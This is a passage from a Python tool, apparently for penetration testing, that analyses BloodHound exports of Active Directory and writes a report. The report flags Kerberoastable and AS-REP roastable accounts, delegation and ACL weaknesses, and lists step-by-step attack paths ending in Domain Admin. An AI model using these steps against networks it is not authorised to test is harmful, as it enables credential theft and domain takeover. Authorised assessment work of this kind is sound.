|----------|----|
"""
        for c in legacy[:20]:
            report += f"| {c['name']} | {c.get('operatingsystem', 'N/A')} |\n"

        report += f"""
### 2.8 SID History Users ({len(sid_history)})

| Username | SID History Count |
|----------|------------------|
"""
        for u in sid_history:
            report += f"| {u['name']} | {len(u.get('sidhistory', []))} |\n"

        report += """
## 3. Operating System Distribution

| Operating System | Count |
|-----------------|-------|
"""
        for os_name, count in os_dist.items():
            report += f"| {os_name} | {count} |\n"

        report += """
## 4. Recommended Cypher Queries

"""
        for q in queries:
            report += f"### {q['name']}\n"
            report += f"**Description:** {q['description']}\n"
            report += f"```cypher\n{q['query']}\n```\n\n"

        report += """
## 5. Recommended Attack Paths

### Priority 1: Kerberoasting
1. Request TGS tickets for Kerberoastable accounts
2. Crack tickets offline using hashcat/john
3. Use compromised accounts for lateral movement

### Priority 2: AS-REP Roasting
1. Request AS-REP for accounts without pre-auth
2. Crack hashes offline
3. Leverage any privileged access

### Priority 3: Unconstrained Delegation Abuse
1. Compromise computer with unconstrained delegation
2. Coerce authentication from high-value target (e.g., PrinterBug)
3. Capture TGT and impersonate target

### Priority 4: ACL Abuse Chains
1. Identify ACL-based paths from owned accounts
2. Chain GenericAll/GenericWrite/WriteDACL edges
3. Escalate to Domain Admin via ACL manipulation

---

*Report generated by BloodHound AD Analyzer*
"""

        report_path = out_path / f"bloodhound_analysis_{self.domain_name or 'unknown'}.md"
        with open(report_path, "w") as f:
            f.write(report)

        console.print(f"[green][+] Report saved to: {report_path}[/green]")

        # Save queries as JSON
        queries_path = out_path / "cypher_queries.json"
        with open(queries_path, "w") as f:
            json.dump(queries, f, indent=2)

        console.print(f"[green][+] Queries saved to: {queries_path}[/green]")


def display_summary(analyzer: BloodHoundAnalyzer):
    """Display analysis summary tables."""
    # Summary table
    table = Table(title="AD Environment Summary")
    table.add_column("Category", style="cyan")
    table.add_column("Count", style="green")
    table.add_column("Risk Items", style="red")

    table.add_row("Users", str(len(analyzer.users)), str(len(analyzer.find_kerberoastable())) + " Kerberoastable")
    table.add_row("Computers", str(len(analyzer.computers)), str(len(analyzer.find_unconstrained_delegation())) + " Unconstrained Deleg")
    table.add_row("Groups", str(len(analyzer.groups)), str(len(analyzer.find_privileged_users())) + " Privileged Users")
    table.add_row("AS-REP Roastable", str(len(analyzer.find_asrep_roastable())), "High" if analyzer.find_asrep_roastable() else "None")
    table.add_row("No LAPS", str(len(analyzer.find_computers_without_laps())), "Medium-High")
    table.add_row("Legacy OS", str(len(analyzer.find_legacy_os())), "High")

    console.print(table)


def main():
    parser = argparse.ArgumentParser(
        description="BloodHound AD Attack Path Analyzer"
    )
    parser.add_argument("--import-data", help="Path to BloodHound ZIP export")
    parser.add_argument("--analyze", action="store_true", help="Run full analysis")
    parser.add_argument("--query", choices=["kerberoastable", "asrep", "unconstrained", "privileged", "legacy", "no-laps"],
                        help="Run specific query")
    parser.add_argument("--generate-report", action="store_true", help="Generate analysis report")
    parser.add_argument("--output", default="./bloodhound_report", help="Output directory")
    parser.add_argument("--domain", help="Domain name for query generation")

    args = parser.parse_args()

    analyzer = BloodHoundAnalyzer()

    if args.domain:
        analyzer.domain_name = args.domain

    if args.import_data:
        analyzer.import_zip(args.import_data)

    if args.analyze or args.generate_report:
        if not analyzer.users and not args.import_data:
            console.print("[red][-] No data loaded. Use --import-data to load BloodHound data.[/red]")
            return

        display_summary(analyzer)

        if args.generate_report:
            analyzer.generate_report(args.output)

    if args.query:
        query_map = {
            "kerberoastable": ("Kerberoastable Users", analyzer.find_kerberoastable),
            "asrep": ("AS-REP Roastable Users", analyzer.find_asrep_roastable),
            "unconstrained": ("Unconstrained Delegation", analyzer.find_unconstrained_delegation),
            "privileged": ("Privileged Users", analyzer.find_privileged_users),
            "legacy": ("Legacy OS Computers", analyzer.find_legacy_os),
            "no-laps": ("Computers Without LAPS", analyzer.find_computers_without_laps),
        }

        title, func = query_map[args.query]
        results = func()

        table = Table(title=title)
        table.add_column("Name", style="cyan")
        table.add_column("Details", style="yellow")

        for item in results[:50]:
            name = item.get("name", "N/A")
            details = item.get("operatingsystem", item.get("displayname", item.get("description", "N/A")))
            table.add_row(name, str(details))

        console.print(table)

    if not any([args.import_data, args.analyze, args.query, args.generate_report]):
        # Generate custom Cypher queries
        queries = analyzer.generate_cypher_queries()
        console.print(Panel("[bold]Available Operations[/bold]\n\n"
                           "--import-data <zip>  Import BloodHound data\n"
                           "--analyze            Run full analysis\n"
                           "--query <type>       Run specific query\n"
                           "--generate-report    Generate report\n",
                           title="BloodHound Analyzer"))


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 1.8 KB
Keep exploring